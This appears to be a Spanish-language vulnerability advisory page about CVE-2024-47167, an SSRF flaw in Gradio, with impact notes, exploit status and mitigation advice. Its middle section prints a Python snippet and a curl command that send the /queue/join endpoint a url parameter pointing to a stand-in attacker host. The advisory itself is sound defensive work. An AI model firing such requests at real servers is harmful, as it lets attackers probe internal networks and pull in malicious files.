Plataforma
python
Componente
gradio
Corregido en
5.0.1
5.0.0
La vulnerabilidad CVE-2024-47167 representa una falla de Server-Side Request Forgery (SSRF) en Gradio, una biblioteca de Python para crear interfaces web para modelos de aprendizaje automático. Esta falla permite a atacantes manipular el servidor para que realice solicitudes HTTP a URLs de su elección, lo que podría resultar en el acceso no autorizado a recursos internos o la exfiltración de datos. La vulnerabilidad afecta a versiones de Gradio menores o iguales a 5.0.0b9, y se ha solucionado en la versión 5.0.0.
Un atacante puede explotar esta vulnerabilidad para forzar al servidor Gradio a realizar solicitudes HTTP a URLs controladas por el atacante. Esto podría permitir el acceso a servicios internos que normalmente no son accesibles desde el exterior, como bases de datos, servidores de administración o APIs internas. El atacante podría, por ejemplo, escanear la red interna en busca de servicios vulnerables o exfiltrar datos confidenciales almacenados en esos servicios. La capacidad de almacenar el contenido de las URLs solicitadas localmente también facilita la carga de archivos maliciosos en el servidor, lo que podría llevar a una mayor escalada de privilegios o a la ejecución de código arbitrario. Esta vulnerabilidad comparte similitudes con otros ataques SSRF, donde la falta de validación de la URL de destino permite a los atacantes eludir las restricciones de seguridad.
La vulnerabilidad CVE-2024-47167 fue publicada el 10 de octubre de 2024. No se ha añadido a KEV al momento de esta redacción. No se conocen públicamente pruebas de concepto (PoCs) activas, pero la naturaleza de la vulnerabilidad SSRF la hace susceptible a la explotación. Se recomienda monitorear las fuentes de inteligencia de amenazas para detectar cualquier actividad maliciosa relacionada con esta vulnerabilidad.
Organizations deploying Gradio to expose machine learning models or other internal applications are at significant risk. Shared hosting environments where multiple users share the same Gradio instance are particularly vulnerable, as an attacker could potentially exploit the vulnerability to target other users' data or resources.
• python / gradio:
import requests
import urllib3
http = urllib3.PoolManager()
try:
response = http.request('GET', 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt')
print(response.status)
except Exception as e:
print(f"Error: {e}")• generic web:
curl -I 'http://your-gradio-server/queue/join?url=http://attacker.com/malicious.txt' | grep -i 'Location:'disclosure
Estado del Exploit
EPSS
0.24% (47% percentil)
CISA SSVC
Vector CVSS
La mitigación principal para CVE-2024-47167 es actualizar a la versión 5.0.0 de Gradio o superior, que incluye la corrección para esta vulnerabilidad. Si la actualización a la versión 5.0.0 causa problemas de compatibilidad, considere implementar una solución temporal utilizando un proxy inverso o un firewall de aplicaciones web (WAF) para bloquear las solicitudes a la /queue/join endpoint que contengan URLs sospechosas. También se recomienda revisar la configuración del servidor para asegurarse de que solo se permita el acceso a los recursos internos desde fuentes confiables. Implemente reglas de WAF que bloqueen solicitudes con URLs que contengan caracteres inusuales o que apunten a direcciones IP internas. Después de la actualización, confirme que la vulnerabilidad ha sido resuelta intentando acceder a /queue/join con una URL controlada y verificando que la solicitud sea bloqueada o redirigida.
Actualice la biblioteca Gradio a la versión 5.0 o superior. Como alternativa, deshabilite o restrinja las entradas basadas en URL en su aplicación Gradio a dominios de confianza. Implemente una validación de URL más estricta y asegúrese de que las direcciones de red locales o internas no se puedan solicitar a través del endpoint `/queue/join`.
Análisis de vulnerabilidades y alertas críticas directamente en tu correo.
CVE-2024-47167 es una vulnerabilidad SSRF en Gradio versiones ≤5.0.0b9 que permite a atacantes forzar solicitudes HTTP a URLs controladas, potencialmente exponiendo servicios internos.
Si está utilizando Gradio en una versión menor o igual a 5.0.0b9, es posible que esté afectado. Actualice a la versión 5.0.0 para mitigar el riesgo.
Actualice a la versión 5.0.0 de Gradio o superior. Si la actualización causa problemas, implemente un WAF o proxy inverso para bloquear solicitudes sospechosas.
No se conocen públicamente explotaciones activas, pero la naturaleza de la vulnerabilidad SSRF la hace susceptible a la explotación.
Consulte la documentación oficial de Gradio y los anuncios de seguridad para obtener información actualizada sobre esta vulnerabilidad.
Sube tu archivo de dependencias y detecta esta y otras CVEs al instante.
Sube tu archivo requirements.txt y te decimos al instante si estás afectado.